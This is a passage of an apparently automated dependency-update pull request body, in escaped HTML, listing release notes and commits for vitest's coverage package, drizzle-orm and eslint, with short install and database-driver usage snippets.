href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6a11cf66f99fa610b7364363d5ca42b66d994f40\"\u003e\u003ccode\u003e6a11cf6\u003c/code\u003e\u003c/a\u003e chore: release v5.0.4 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11554\"\u003e#11554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2297d93a854968d2ffee6025700c69099e6b7f80\"\u003e\u003ccode\u003e2297d93\u003c/code\u003e\u003c/a\u003e fix(coverage): v8 browser memory leak between test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11466\"\u003e#11466\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c74e099a9d17e24e9816878165af4818df84a631\"\u003e\u003ccode\u003ec74e099\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11167\"\u003e#11167\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/33cadea62e8763c455c7fca38d9ab1dda87c5f75\"\u003e\u003ccode\u003e33cadea\u003c/code\u003e\u003c/a\u003e chore: release v5.0.3 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11409\"\u003e#11409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a029e76a9e72ebdd468452ee1bb788bbe5dc635e\"\u003e\u003ccode\u003ea029e76\u003c/code\u003e\u003c/a\u003e chore: migrate to oxc (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11367\"\u003e#11367\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/428e2e5043c64635b6b157358bde2fdeaa7b6b3a\"\u003e\u003ccode\u003e428e2e5\u003c/code\u003e\u003c/a\u003e chore: release v5.0.2 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11357\"\u003e#11357\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/03630a5995d10455fa136be53bfb2b2409381106\"\u003e\u003ccode\u003e03630a5\u003c/code\u003e\u003c/a\u003e chore: release v5.0.1 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11275\"\u003e#11275\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f441c6fab25e579c5b7dd3dd50538416f415fbae\"\u003e\u003ccode\u003ef441c6f\u003c/code\u003e\u003c/a\u003e chore: release v5.0.0 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11130\"\u003e#11130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c4473e48ee046938a9ab6784fe2735257c2c0f72\"\u003e\u003ccode\u003ec4473e4\u003c/code\u003e\u003c/a\u003e fix(coverage): prevent crash on \u003ccode\u003e/@fs/\u003c/code\u003e prepended virtual files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11119\"\u003e#11119\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `drizzle-orm` from 0.45.2 to 0.45.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/releases\"\u003edrizzle-orm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.45.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epostgres-js\u003c/code\u003e not using prepared queries on explicit \u003ccode\u003e.prepare(name)\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.45.3\u003c/h2\u003e\n\u003ch2\u003eNew Netlify DB Driver\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNote: The Netlify DB driver is developed and maintained by the Netlify team.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eInstallation:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003enpm i @netlify/db\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eUsage example:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre lang=\"typescript\"\u003e\u003ccode\u003eimport { drizzle } from 'drizzle-orm/netlify-db';\n\u003cp\u003e// reads NETLIFY_DB_URL and NETLIFY_DB_DRIVER env vars\nconst db = drizzle();\u003c/p\u003e\n\u003cp\u003econst result = await db.execute('select 1');\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cpre lang=\"typescript\"\u003e\u003ccode\u003eimport { drizzle } from 'drizzle-orm/netlify-db';\n\nconst db = drizzle(process.env.DATABASE_URL);\n\nconst result = await db.execute('select 1');\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre lang=\"typescript\"\u003e\u003ccode\u003eimport { drizzle } from 'drizzle-orm/netlify-db';\n\n// Explicit client — consumer controls the driver\nconst db = drizzle({ client: netlifyDbClient });\n\nconst result = await db.execute('select 1');\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/eab8bedbb65d5429c54e612ddbd88aa23091d398\"\u003e\u003ccode\u003eeab8bed\u003c/code\u003e\u003c/a\u003e Fixed \u003ccode\u003epostgres-js\u003c/code\u003e not using prepared queries on explicit \u003ccode\u003e.prepare(name)\u003c/code\u003e (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/15454dbe49d827c6081f3d0231e2e7985e517295\"\u003e\u003ccode\u003e15454db\u003c/code\u003e\u003c/a\u003e +\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/54e436feea82c856d5644152cc9d186e237e2e95\"\u003e\u003ccode\u003e54e436f\u003c/code\u003e\u003c/a\u003e exclude gel from pull\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0fd1cc61f1ff6553234d29042461fc5e9aa551c3\"\u003e\u003ccode\u003e0fd1cc6\u003c/code\u003e\u003c/a\u003e remove gel\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/d028db74f20cbf3740bcaaf136beb9eb27f0928c\"\u003e\u003ccode\u003ed028db7\u003c/code\u003e\u003c/a\u003e skip gel\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/93dc01e355724e666b656377cb07cf9613153787\"\u003e\u003ccode\u003e93dc01e\u003c/code\u003e\u003c/a\u003e [All-kit]: Warn when journal timestamps can cause migrations to be skipped (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/b7862528fd8fc39bc2653a6c18dad7c1f4e68d10\"\u003e\u003ccode\u003eb786252\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/6049\"\u003e#6049\u003c/a\u003e from drizzle-team/drizzle-kit-announcements\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/f9fc5bf30bc14e84f2416349acbd6c04001a497e\"\u003e\u003ccode\u003ef9fc5bf\u003c/code\u003e\u003c/a\u003e Add drizzle-kit announcement manifest and schema doc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/9d6453215d18705986c2081124437bb6a03fb943\"\u003e\u003ccode\u003e9d64532\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/6004\"\u003e#6004\u003c/a\u003e from drizzle-team/pin-npm-11-main\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0af2f2ea5b75f0831a36874e23df9c294c49e26e\"\u003e\u003ccode\u003e0af2f2e\u003c/code\u003e\u003c/a\u003e Pin the release npm self-update to major 11: the npm 12.0.0 tarball is missin...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/compare/0.45.2...0.45.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 9.39.5 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.12.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4618052eed6bb3ef420cf0db0490bbda2fd835a5\"\u003e\u003ccode\u003e4618052\u003c/code\u003e\u003c/a\u003e feat: handle astral letters in \u003ccode\u003enew-cap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21357\"\u003e#21357\u003c/a\u003e) (sary)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4ec5168d6d6888e3f7b163eb82963d40e45a75fa\"\u003e\u003ccode\u003e4ec5168\u003c/code\u003e\u003c/a\u003e feat: allow \u003ccode\u003eSourceCode#getText()\u003c/code\u003e to accept tokens and comments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21340\"\u003e#21340\u003c/a\u003e) (electrohyun)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bc51eee6e3e816622b2dd1bc08acb9cfb2d3a6a7\"\u003e\u003ccode\u003ebc51eee\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eprefer-arrow-callback\u003c/code\u003e false positive in conditional test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21373\"\u003e#21373\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bbff86c41521cc435e20754e26007f657a843038\"\u003e\u003ccode\u003ebbff86c\u003c/code\u003e\u003c/a\u003e fix: skip lines with multiple comments in \u003ccode\u003emax-lines-per-function\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21332\"\u003e#21332\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/efc4d6bdc4c4d1dfba8bdab6a8f44f27a1b1d00a\"\u003e\u003ccode\u003eefc4d6b\u003c/code\u003e\u003c/a\u003e fix: astral letters in \u003ccode\u003econsistent-return\u003c/code\u003e, \u003ccode\u003eno-eval\u003c/code\u003e, \u003ccode\u003eno-invalid-this\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21360\"\u003e#21360\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/93de066d4125f8df013d40305e8009f4634a5cba\"\u003e\u003ccode\u003e93de066\u003c/code\u003e\u003c/a\u003e fix: prefer-exponentiation-operator autofix for async function base (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21322\"\u003e#21322\u003c/a\u003e) (Vladimir Babin)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/02e34ffba6adbed72365177c7caee71d950834e5\"\u003e\u003ccode\u003e02e34ff\u003c/code\u003e\u003c/a\u003e fix: add missing space after \u003ccode\u003eelse\u003c/code\u003e in \u003ccode\u003ecurly\u003c/code\u003e autofix (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21355\"\u003e#21355\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b14b8bc213ccfc19d3edcfa9ce6af62622661160\"\u003e\u003ccode\u003eb14b8bc\u003c/code\u003e\u003c/a\u003e fix: correct \u003ccode\u003eid-length\u003c/code\u003e message for long private names (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21348\"\u003e#21348\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/69aac01d898837a934c9e735e0b7881cc1df09e8\"\u003e\u003ccode\u003e69aac01\u003c/code\u003e\u003c/a\u003e fix: support \u003ccode\u003eTSFunctionType\u003c/code\u003e in \u003ccode\u003egetFunctionHeadLoc\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21335\"\u003e#21335\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/686630eb34ec1cddf399a4e6eaeebb080116a532\"\u003e\u003ccode\u003e686630e\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eno-loss-of-precision\u003c/code\u003e false positive with \u003ccode\u003e0.e5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21337\"\u003e#21337\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/67eb586e2eda290813b329d4f40e605ad696bc4f\"\u003e\u003ccode\u003e67eb586\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5370d7ee35a6523873f798e87f3ccc73779d5d21\"\u003e\u003ccode\u003e5370d7e\u003c/code\u003e\u003c/a\u003e docs: clarify \u003ccode\u003eone-var\u003c/code\u003e \u003ccode\u003eseparateRequires\u003c/code\u003e matches any \u003ccode\u003erequire()\u003c/code\u003e call (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21192\"\u003e#21192\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8816c1ddfcfa31318ad17cddcfb68acffa30940f\"\u003e\u003ccode\u003e8816c1d\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3d2e7cedb7409d8a2c5f2c2fafb14fa22790e40e\"\u003e\u003ccode\u003e3d2e7ce\u003c/code\u003e\u003c/a\u003e docs: fix typo in no-unused-expressions documentation (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21346\"\u003e#21346\u003c/a\u003e) (bytedoe)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/152067f0f81f08b6cce9cf8eeaddb8558731b4f6\"\u003e\u003ccode\u003e152067f\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21362\"\u003e#21362\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b56d58e0b1f3c919a6b7661254af760cdd909d6e\"\u003e\u003ccode\u003eb56d58e\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21376\"\u003e#21376\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bfaea12ddc30b458fe4cfbb6c306a62b5299c177\"\u003e\u003ccode\u003ebfaea12\u003c/code\u003e\u003c/a\u003e perf: cache normalized config globals per languageOptions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21364\"\u003e#21364\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/322209ef164e8a00a25ec7ca166969ddc853355c\"\u003e\u003ccode\u003e322209e\u003c/code\u003e\u003c/a\u003e ci: avoid Nx cache in ecosystem tests and disable failing test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21369\"\u003e#21369\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d166567901e09940c1de4ad0e95d572eeab5c927\"\u003e\u003ccode\u003ed166567\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.9 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21371\"\u003e#21371\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/29585ceba7ad35368d1b763bd1e80d899f28842c\"\u003e\u003ccode\u003e29585ce\u003c/code\u003e\u003c/a\u003e chore: update dependency eslint-plugin-expect-type to ^0.7.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21359\"\u003e#21359\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/39d79ba9650542ac66d585d1899304abd630c07d\"\u003e\u003ccode\u003e39d79ba\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21354\"\u003e#21354\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 